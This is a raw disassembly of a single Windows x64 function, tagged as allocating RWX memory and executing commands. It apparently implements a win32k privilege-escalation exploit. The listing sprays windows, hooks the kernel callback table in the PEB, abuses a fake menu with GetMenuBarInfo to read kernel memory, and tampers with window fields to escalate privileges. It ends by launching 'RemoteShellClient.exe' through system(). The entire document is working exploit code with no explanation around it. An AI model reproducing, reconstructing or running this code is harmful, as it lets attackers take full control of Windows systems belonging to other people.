Function at 0x1400012f0
Capabilities:
Allocate or change rwx memory
Execute command
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x130], rax
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ebx, ebx
test rax, rax
jne 0x14000132c
mov eax, ebx
jmp 0x14000133c
lea rdx, str.NtUserConsoleControl
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.win32u.dll
mov qword [0x140005640], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x14000135a
mov rax, rbx
jmp 0x14000136a
lea rdx, str.NtUserMessageCall
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov qword [0x140006660], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x140001388
mov rax, rbx
jmp 0x140001398
lea rdx, str.NtCallbackReturn
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.user32.dll
mov qword [0x140005658], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
test rax, rax
jne 0x1400013b9
mov rax, rbx
jmp 0x140001409
lea rdx, str.IsMenu
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, rax
test rax, rax
jne 0x1400013d6
mov rax, rbx
jmp 0x140001409
mov edx, ebx
inc edx
cmp byte [rax], 0xe8
je 0x1400013ef
inc rax
cmp edx, 0x100
jb 0x1400013d8
mov rax, rbx
jmp 0x140001409
test edx, edx
jne 0x1400013f8
mov rax, rbx
jmp 0x140001409
mov ecx, dword [rdx + r8]
lea eax, [rdx + 4]
sub ecx, edi
add ecx, r8d
add eax, ecx
add rax, rdi
cmp qword [0x140005640], rbx
mov qword [0x140005638], rax
je 0x140001d2a
cmp qword [0x140006660], rbx
je 0x140001d2a
cmp qword [0x140005658], rbx
je 0x140001d2a
test rax, rax
je 0x140001d2a
mov rax, qword [sym.imp.USER32.dll_DefWindowProcW]
xorps xmm0, xmm0
xorps xmm1, xmm1
mov qword [rsp + 0x270], rsi
xor ecx, ecx
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x20], xmm1
mov qword [rbp - 0x48], rax
mov qword [rsp + 0x248], r14
mov qword [rbp - 0x50], rbx
mov dword [rbp - 0x40], ebx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rsi, str.yummy__bunny
mov dword [rbp - 0x3c], 0x1234
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x10], rsi
call qword [sym.imp.USER32.dll_RegisterClassW]
test ax, ax
je 0x140001d14
mov rax, qword [sym.imp.USER32.dll_DefWindowProcW]
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x80], xmm0
xor ecx, ecx
movdqa xmmword [rbp - 0x70], xmm1
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x60], rbx
mov dword [rsp + 0x70], ebx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r14, str.yummybunny
mov dword [rsp + 0x74], 0x1356
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x60], r14
call qword [sym.imp.USER32.dll_RegisterClassW]
test ax, ax
je 0x140001d14
mov qword [rsp + 0x240], r15
mov rdi, rbx
lea r15, [0x140005660]
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x58], rbx
lea r8, str.bunny_w1nd0w
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rbx
xor ecx, ecx
mov qword [rsp + 0x40], rbx
mov rdx, r14
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
cmp rdi, 0x100
je 0x140001557
mov rdx, rsi
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [r15 + rdi*8], rax
test rax, rax
je 0x140001cfe
inc rdi
cmp rdi, 0x200
jb 0x140001510
mov rax, qword [0x140005e60]
lea r9, [rbp]
mov qword [0x140005648], rax
mov edx, 8
mov rax, qword gs:[0x60]
lea r8d, [rdx + 0x38]
mov rdi, qword [rax + 0x58]
mov dword [rbp], ebx
lea rcx, [rdi + 0x3d8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001cdb
lea rsi, [0x140001070]
mov edx, 8
xchg qword [rdi + 0x3d8], rsi
mov r8d, dword [rbp]
lea r9, [rbp]
lea rcx, [rdi + 0x3d8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001cdb
mov qword [0x140005650], rsi
lea r9, [rbp + 8]
mov rax, qword gs:[0x60]
mov edx, 8
mov rdi, qword [rax + 0x58]
lea r8d, [rdx + 0x38]
mov dword [rbp + 8], ebx
lea rcx, [rdi + 0x3e0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001ccc
lea rsi, [0x140001130]
mov edx, 8
xchg qword [rdi + 0x3e0], rsi
mov r8d, dword [rbp + 8]
lea r9, [rbp + 8]
lea rcx, [rdi + 0x3e0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001ccc
mov qword [rsp + 0x280], r13
mov rcx, qword [0x140005648]
xor r9d, r9d
mov dword [rsp + 0x30], ebx
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov qword [0x140005630], rsi
lea edx, [r9 + 1]
mov qword [rsp + 0x20], rbx
call qword [0x140006660]
xor ecx, ecx
mov edx, 0x100
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
mov edx, 0x100
mov r8d, 0x3000
mov rsi, rax
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
mov edx, 0x100
mov r8d, 0x3000
mov r13, rax
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, 0x18
xor ecx, ecx
mov r8d, 0x3000
mov r14, rax
lea r9d, [rdx + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, 8
xor ecx, ecx
mov r8d, 0x3000
mov r15, rax
lea r9d, [rdx + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rsi, rsi
je 0x140001cb6
test r13, r13
je 0x140001cb6
test r14, r14
je 0x140001cb6
test r15, r15
je 0x140001cb6
test rax, rax
je 0x140001cb6
mov qword [rax], 0xffff
mov rdi, r15
xor eax, eax
mov qword [rsp + 0x278], r12
mov ecx, 0x18
mov r8d, 0x40c00000
rep stosb byte [rdi], al
mov rcx, qword [0x140005648]
mov qword [rsi], rdx
lea edx, [rax + 0x2c]
mov qword [rsi + 0x28], r13
mov dword [r13 + 0x2c], 0xffff
mov dword [rsi + 0x40], 1
mov dword [rsi + 0x44], 1
mov qword [rsi + 0x58], r14
mov qword [r15], rsi
mov qword [rsi + 0x98], r15
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov rcx, qword [0x140005648]
mov r8, rsi
mov edx, 0xfffffff4
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov rcx, qword [0x140005648]
mov edx, 0x2c
mov r8d, 0x4c00000
mov r13, rax
call qword [sym.imp.USER32.dll_SetWindowLongW]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edx, edx
mov r8d, eax
lea ecx, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
jne 0x1400017de
mov rsi, rbx
jmp 0x1400017fa
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
mov rdx, rdi
call fcn.140001150
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
lea r9, [rbp + 0x10]
xor eax, eax
mov edx, 0xfffffffd
movups xmmword [rbp + 0x10], xmm0
mov rdi, r14
mov dword [rbp + 0x10], 0x30
mov ecx, 0x100
rep stosb byte [rdi], al
mov rcx, qword [0x140005648]
lea rax, [rsi + 0x188]
lea r8d, [rdx + 4]
mov qword [r14], rax
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
movsxd rdx, dword [rbp + 0x18]
lea r9, [rbp + 0x40]
shl rdx, 0x20
xorps xmm0, xmm0
xor eax, eax
mov ecx, 0x100
movups xmmword [rbp + 0x40], xmm0
mov rdi, r14
mov dword [rbp + 0x40], 0x30
rep stosb byte [rdi], al
mov eax, dword [rbp + 0x14]
mov rcx, qword [0x140005648]
or rdx, rax
sub rdx, 0x40
mov qword [r14], rdx
mov edx, 0xfffffffd
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
lea r8d, [rdx + 4]
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
movsxd rdx, dword [rbp + 0x48]
lea r9, [rbp + 0x70]
shl rdx, 0x20
xorps xmm0, xmm0
xor eax, eax
mov ecx, 0x100
movups xmmword [rbp + 0x70], xmm0
mov rdi, r14
mov dword [rbp + 0x70], 0x30
rep stosb byte [rdi], al
mov eax, dword [rbp + 0x44]
mov rcx, qword [0x140005648]
or rdx, rax
add rdx, 0x180
mov qword [r14], rdx
mov edx, 0xfffffffd
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
lea r8d, [rdx + 4]
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
movsxd rdx, dword [rbp + 0x78]
lea r9, [rbp + 0xa0]
shl rdx, 0x20
xorps xmm0, xmm0
xor eax, eax
mov ecx, 0x100
movups xmmword [rbp + 0xa0], xmm0
mov rdi, r14
mov dword [rbp + 0xa0], 0x30
rep stosb byte [rdi], al
mov eax, dword [rbp + 0x74]
mov rcx, qword [0x140005648]
or rdx, rax
add rdx, 0x40
mov qword [r14], rdx
mov edx, 0xfffffffd
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
lea r8d, [rdx + 4]
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
movsxd r12, dword [rbp + 0xa8]
mov eax, dword [rbp + 0xa4]
mov rsi, qword [0x140005e68]
shl r12, 0x20
or r12, rax
mov rcx, qword [0x140005648]
mov edx, 1
mov qword [rbp + 8], rsi
call qword [0x140005638]
mov edx, 1
mov rcx, rsi
mov rdi, rax
call qword [0x140005638]
mov r15, rax
cmp rax, rdi
jae 0x1400019e8
lea rcx, str.____Invalid_memory_layout_n
call fcn.140001010
mov eax, 0xffffffff
mov r12, qword [rsp + 0x278]
mov r13, qword [rsp + 0x280]
mov r15, qword [rsp + 0x240]
mov rsi, qword [rsp + 0x270]
mov r14, qword [rsp + 0x248]
mov rcx, qword [rbp + 0x130]
xor rcx, rsp
call fcn.140001d50
add rsp, 0x250
pop rdi
pop rbx
pop rbp
ret
sub r15, rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x400
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140001a25
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
mov rdx, rdi
call fcn.140001150
mov rbx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, rbx
nop dword [rax + rax]
xorps xmm0, xmm0
lea r9, [rbp + 0xd0]
xor eax, eax
mov edx, 0xfffffffd
movups xmmword [rbp + 0xd0], xmm0
mov rdi, r14
mov dword [rbp + 0xd0], 0x30
mov ecx, 0x100
rep stosb byte [rdi], al
mov rcx, qword [0x140005648]
lea rax, [rsi + 0x408]
lea r8d, [rdx + 4]
mov qword [r14], rax
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
mov eax, dword [rbp + 0xd4]
lea r9, [rbp + 0x100]
movsxd rsi, dword [rbp + 0xd8]
xorps xmm0, xmm0
shl rsi, 0x20
mov edx, 0xfffffffd
or rsi, rax
mov rdi, r14
xor eax, eax
sub rsi, 0x448
movups xmmword [rbp + 0x100], xmm0
mov ecx, 0x100
mov dword [rbp + 0x100], 0x30
rep stosb byte [rdi], al
mov rcx, qword [0x140005648]
lea rax, [rsi + 0x400]
lea r8d, [rdx + 4]
mov qword [r14], rax
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
movsxd rcx, dword [rbp + 0x108]
mov eax, dword [rbp + 0x104]
shl rcx, 0x20
or rcx, rax
cmp rcx, 4
jne 0x140001a30
xorps xmm0, xmm0
lea r9, [rsp + 0x60]
xor eax, eax
mov edx, 0xfffffffd
movups xmmword [rsp + 0x60], xmm0
mov rdi, r14
mov dword [rsp + 0x60], 0x30
mov ecx, 0x100
rep stosb byte [rdi], al
mov rcx, qword [0x140005648]
lea rax, [rsi + 0x478]
lea r8d, [rdx + 4]
mov qword [r14], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
movsxd rsi, dword [rsp + 0x68]
lea r8, [rbx + 0x4b8]
mov eax, dword [rsp + 0x64]
lea edx, [r15 + 0x138]
mov rcx, qword [0x140005648]
shl rsi, 0x20
or rsi, rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov rcx, qword [rbp + 8]
mov r8, rsi
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov rcx, qword [0x140005648]
lea edx, [r15 + 0x138]
xor r8d, r8d
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov rax, qword gs:[0x30]
mov edx, 1
mov rcx, qword [0x140005648]
mov rdi, qword [rax + 0x828]
call qword [0x140005638]
xorps xmm0, xmm0
mov edx, 0xfffffffd
mov r9, rax
mov ecx, 0x100
sub r9, rdi
xor eax, eax
movups xmmword [rbp - 0x50], xmm0
mov rdi, r14
mov dword [rbp - 0x50], 0x30
rep stosb byte [rdi], al
mov rcx, qword [0x140005648]
lea rax, [r12 + 0xa8]
add rax, r9
lea r8d, [rdx + 4]
lea r9, [rbp - 0x50]
mov qword [r14], rax
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
movsxd rdi, dword [rbp - 0x48]
mov edx, 0x2c
mov eax, dword [rbp - 0x4c]
mov r8d, 0x40c00000
mov rcx, qword [0x140005648]
shl rdi, 0x20
or rdi, rax
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov rcx, qword [0x140005648]
mov r8, r13
mov edx, 0xfffffff4
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov rcx, qword [0x140005648]
mov edx, 0x2c
mov r8d, 0x4c00000
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov rcx, qword [0x140005648]
btr rdi, 0xb
mov r8, rdi
mov edx, pe_nt_image_headers64
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov rcx, qword [0x140005648]
xor r8d, r8d
mov edx, 0x138
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
lea rcx, str.RemoteShellClient.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
jmp 0x1400019a6
lea rcx, str.____Failed_to_craft_fake_menu_n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400019ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [0x140005630], rbx
jmp 0x140001ce8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [0x140005650], rbx
lea rcx, str.____Failed_to_hook_kernel_callback_table_n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400019b6
lea rcx, str.____Failed_to_create_window_n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400019b6
lea rcx, str.____Failed_to_register_window_classes_n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400019be
lea rcx, str.____Failed_to_retrieve_function_pointers_n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400019ce